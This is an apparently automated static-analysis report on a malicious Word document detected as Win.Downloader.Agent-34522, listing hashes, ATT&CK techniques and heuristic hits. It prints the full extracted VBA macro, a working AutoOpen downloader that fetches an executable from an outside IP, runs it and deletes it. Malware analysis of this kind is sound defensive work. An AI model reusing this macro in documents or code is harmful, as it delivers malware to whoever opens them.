Win.Downloader.Agent-34522 — Office (OLE) malware analysis

Static analysis result for SHA-256 76c45e68b9fb3e5a…

MALICIOUS

Office (OLE)

29.5 KB Created: 2004-02-28 03:41:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: d01c1289759ff803a87cc89c51197cd3 SHA-1: e2023f8e0ad7b2adb13008e943b51be30b8bdfa8 SHA-256: 76c45e68b9fb3e5a880d0056dc10c5cc6565f75117ab4747ffb3dfb2f403ce4c
298 Risk Score

Malware Insights

Win.Downloader.Agent-34522 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains a VBA macro with an autoopen subroutine that uses the URLDownloadToFile API to download a file from http://81.27.111.103/ek/liu8080.exe. The downloaded file is then saved as C:\Windows\temp.exe and executed using the Shell function. This indicates a downloader functionality, aiming to fetch and run a second-stage payload.

Heuristics 9

  • ClamAV: Win.Downloader.Agent-34522 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Downloader.Agent-34522
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        DownloadFile lURL, szFileLocal & "\temp.exe"
    Shell szFileLocal & "\temp.exe"
    Kill szFileLocal & "\temp.exe"
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Attribute VB_Name = "Module1"
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Sub autoopen()
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Sub autoopen()
On Error Resume Next
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Dim lURL As String
    szFileLocal = Environ("windir")
    lURL = "http://81.27.111.103/ek/liu8080.exe"
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://81.27.111.103/ek/liu8080.exe Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1081 bytes
SHA-256: 6ff0903b95edb3bcebac0d543ac9c3b7a93163695dac57acd71c62bd614f1a02
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Sub autoopen()
On Error Resume Next
Dim szFileLocal
Dim lURL As String
    szFileLocal = Environ("windir")
    lURL = "http://81.27.111.103/ek/liu8080.exe"
    DownloadFile lURL, szFileLocal & "\temp.exe"
    Shell szFileLocal & "\temp.exe"
    Kill szFileLocal & "\temp.exe"
End Sub

 Function DownloadFile(URL As String, LocalFilename As String) As Boolean
    Dim lngRetVal As Long
    lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
    If lngRetVal = 0 Then DownloadFile = True
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.